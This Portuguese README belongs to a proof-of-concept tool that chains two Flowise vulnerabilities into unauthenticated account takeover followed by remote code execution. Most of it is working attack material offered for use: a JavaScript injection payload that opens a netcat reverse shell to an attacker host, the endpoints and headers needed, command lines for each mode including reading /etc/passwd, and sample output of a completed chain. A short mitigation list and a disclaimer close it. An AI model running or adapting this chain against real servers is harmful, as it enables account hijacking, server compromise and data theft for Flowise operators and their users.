PoC modular para CVE-2025-58434 (tomada de conta) e CVE-2025-59528 (RCE) no Flowise. Automatiza toda a cadeia de ataque, desde o vazamento de token não autenticado até a execução remota de código via reverse shell ou comando personalizado.
⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada.
Executar esta ferramenta contra sistemas que você não possui ou sem permissão escrita para testar é ilegal.
Este repositório combina duas vulnerabilidades críticas no Flowise em uma única ferramenta de PoC modular.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| Tipo | Tomada de Conta | Execução Remota de Código |
| Autenticação Necessária | Nenhuma | Sim (qualquer conta válida) |
| CVSS | 9.8 Crítico | Crítico |
| Afetados | Nuvem + Self-hosted | Self-hosted |
As duas vulnerabilidades se encadeiam naturalmente: a CVE-2025-58434 fornece tomada de conta não autenticada, o que satisfaz o requisito de autenticação da CVE-2025-59528 — alcançando RCE não autenticada em uma única execução automatizada.
Causa raiz: O endpoint forgot-password retorna o token de redefinição de senha (tempToken) diretamente no corpo da resposta HTTP, em vez de enviá-lo apenas por e-mail.
Etapas do ataque:
POST /api/v1/account/forgot-password com qualquer e-mail registradotempToken da resposta JSON — sem precisar acessar o e-mailPOST /api/v1/account/reset-password com o token vazado → defina uma nova senhaResposta vazada (resumida):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Causa raiz: O nó CustomMCP passa o mcpServerConfig fornecido pelo usuário diretamente para o construtor Function() do JavaScript, sem sanitização. Como o Flowise roda em Node.js, o código injetado tem acesso total a child_process, fs e todos os módulos nativos do Node.js.
Caminho de código vulnerável:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← entrada de usuário não sanitizada
Cabeçalhos necessários:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Payload de injeção padrão (reverse shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Nota: Os payloads de reverse shell usam
cp.exec()(assíncrono / fire-and-forget) para que a requisição HTTP retorne imediatamente e a ferramenta não sofra timeout. Comandos comuns usamcp.execSync()e retornam a saída inline.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| Componente | Status |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Afetado pela CVE-2025-58434 |
| Flowise self-hosted (todas as versões anteriores ao patch) | Afetado por ambas as CVEs |
Consulte os avisos de segurança oficiais do Flowise para os números das versões corrigidas.
flowise-dual-cve-poc/
├── flowise_poc.py # Main PoC — all modules + chain mode
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Full legal notice
requestsgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
Nenhuma flag de modo é necessária. Se você executar o script sem --chain ou --module, ele roda automaticamente no modo de cadeia completo. O payload de RCE padrão é um reverse shell — basta fornecer --lhost e --lport.
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Inicie seu listener antes de executar:
nc -lvnp 4444
python3 flowise_poc.py -h
Executa todas as quatro etapas de ponta a ponta: vazar token → redefinir senha → login → RCE.
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
Vaza o tempToken e redefine a senha da conta. Para antes do login/RCE.
# Default new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Custom new password
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# Print raw JSON response
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
Autentique-se e extraia os três cookies de sessão para uso manual.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# JSON output for scripting
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
Executa no servidor. Faz login automático se --token não for fornecido.
# Reverse shell — auto-login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# Custom command — auto-login
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# Manual token — reverse shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# All three cookies manually
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| Flag | Descrição |
|---|---|
--chain | Cadeia completa: ATO → Login → RCE |
--module ato | Somente tomada de conta |
--module login | Somente login e extração de cookies |
--module rce | Somente RCE |
| Flag | Curta | Descrição | Obrigatória |
|---|---|---|---|
--url | -u | URL base da instância do Flowise | Sempre |
--email | -e | E-mail alvo / de login | Sempre |
| Flag | Curta | Descrição | Padrão |
|---|---|---|---|
--new-password | -p | Senha definida na conta da vítima após o ATO | Flowise@Pwn3d2025! |
| Flag | Curta | Descrição |
|---|---|---|
--login-password | -P | Senha para o módulo de login / login automático do RCE |
--token | — | Fornecer manualmente o cookie token (pula o login) |
--refresh-token | — | Fornecer manualmente o cookie refreshToken |
--connect-sid | — | Fornecer manualmente o cookie connect.sid |
| Flag | Curta | Descrição | Padrão |
|---|---|---|---|
--lhost | — | IP do atacante para o reverse shell | — |
--lport | — | Porta do atacante para o reverse shell | — |
--command | -c | Comando de SO personalizado (substitui o revshell) | id se não houver lhost/lport |
| Flag | Curta | Descrição | Padrão |
|---|---|---|---|
--timeout | -t | Timeout HTTP (segundos) | 15 |
--json-output | -j | Exibir respostas JSON brutas | false |
O script escolhe automaticamente o modo de execução correto:
| Cenário | Payload usado | Comportamento HTTP |
|---|---|---|
--lhost + --lport (sem -c) | one-liner netcat mkfifo | cp.exec() — assíncrono, retorna imediatamente |
-c "..." contendo nc/mkfifo/bash -i | detectado como revshell | cp.exec() — assíncrono, retorna imediatamente |
-c "id" ou qualquer outro comando normal | comando do usuário | cp.execSync() — bloqueia, retorna a saída |
sem -c, sem --lhost | id | cp.execSync() — bloqueia, retorna a saída |
A execução assíncrona significa que a requisição HTTP é concluída instantaneamente — sem erros de timeout em payloads de reverse shell.
[Step 1] [CVE-2025-58434] Requesting forgot-password token ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
LEAKED ACCOUNT DATA
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] VULNERABLE — token disclosed without authentication!
[Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Password reset SUCCESSFUL (tempToken cleared)
[+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!
[Step 3] [Auth] Logging in to extract session cookies ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
EXTRACTED SESSION COOKIES
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE RESULT
────────────────────────────────────────────────────────────────────
Mode : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Reverse shell payload fired!
[!] Waiting for connection on 10.10.16.35:4444 ...
[!] Make sure your listener is running: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] CHAIN COMPLETE
tempToken somente por e-mail registrado.rate-limit) do endpoint forgot-password.Function(), eval() ou vm.runInThisContext().mcpServerConfig apenas como dados (ex.: JSON.parse()) — nunca o execute.| Data | Evento |
|---|---|
| 2025-08-19 | CVE-2025-58434 descoberta e reportada |
| TBD | CVE-2025-59528 descoberta e reportada |
| TBD | Reconhecimento do fornecedor |
| TBD | Patch lançado |
| TBD | Divulgação pública |
Apenas para fins educacionais e testes de penetração autorizados.
Consulte DISCLAIMER.md para o aviso legal completo.